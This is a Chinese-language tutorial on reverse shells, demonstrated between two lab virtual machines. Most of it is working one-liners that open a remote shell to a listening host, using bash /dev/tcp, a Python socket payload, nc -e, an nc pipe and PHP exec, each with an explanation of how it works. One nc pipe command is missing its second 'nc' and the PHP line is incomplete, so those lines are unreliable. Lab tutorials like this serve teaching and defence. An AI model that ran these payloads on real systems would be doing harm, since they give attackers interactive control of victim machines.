反弹shell的方法和测试

反弹shell

反弹shell的概念

简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。

反弹shell的原理

参考这篇文章https://www.freebuf.com/articles/system/187584.html写一些自己的理解。

总的来说,就是在被攻击的机器上面开启一个交互式的bash,然后将该bash的标准输入,标准输出,和错误输出都重定向到远程(我们的攻击机器)上面,这样我们就可以在攻击机器上操纵被攻击机器了。

反弹shell有几种不同的方式,下面对各个方式进行实验

环境

  • debian kali虚拟机
  • ubuntu 16.04虚拟机

方法1 使用Linux命令来进行反弹shell

在kali中,

ifconfig


拿到kali的ip。

使用nc监听7777端口

nc -lvp 7777

在ubuntu中

bash -i >& /dev/tcp/192.168.56.102/7777 0>&1

执行后kali终端内拿到了ubuntu的shell。

接下来分析一下ubuntu(被攻击机器)执行的命令

bash -i >& /dev/tcp/192.168.56.102/7777 0>&1
  • bash -i 在本地打开一个交互式bash
  • &

    linux shell下常用的文件描述符是:

标准输入 (stdin) :代码为 0 ,使用 < 或 << ;

标准输出 (stdout):代码为 1 ,使用 > 或 >> ;

标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

  • /dev/tcp/ip/port 建立一个socket连接到ip的port端口
    ,>&后面跟/dev/tcp/ip/port代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。
  • 0>&1 在前面命令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了。

方法2 使用python来反弹shell

首先,和方法1一样,在kali上用nc监听2333端口

nc -lvp 2333

然后在ubuntu上执行命令

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.102',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"


另一边kali成功拿到反弹的shell。

原理:

首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程
,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,
在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

方法3 使用nc反弹shell,需要反弹shell的机器安装nc

首先还是kali监听2333端口

nc -lvp 2333

之后ubuntu执行命令:

nc -e /bin/bash 192.168.56.102 2333

这里的-e后面跟的参数代表的是创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程

如果nc不支持-e参数(这里我就是这个情况),可以通过以下方法:

首先在kali上监听两个不同的端口:

nc -lvp 2333
nc -lvp 2334

之后在ubuntu上执行命令:

nc 192.168.56.102 2333|/bin/bash|192.168.56.102 2334

即可在监听2333端口的终端内输入命令,在监听2334端口的终端显示输出。

使用php反弹shell

php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.56.102/2333")'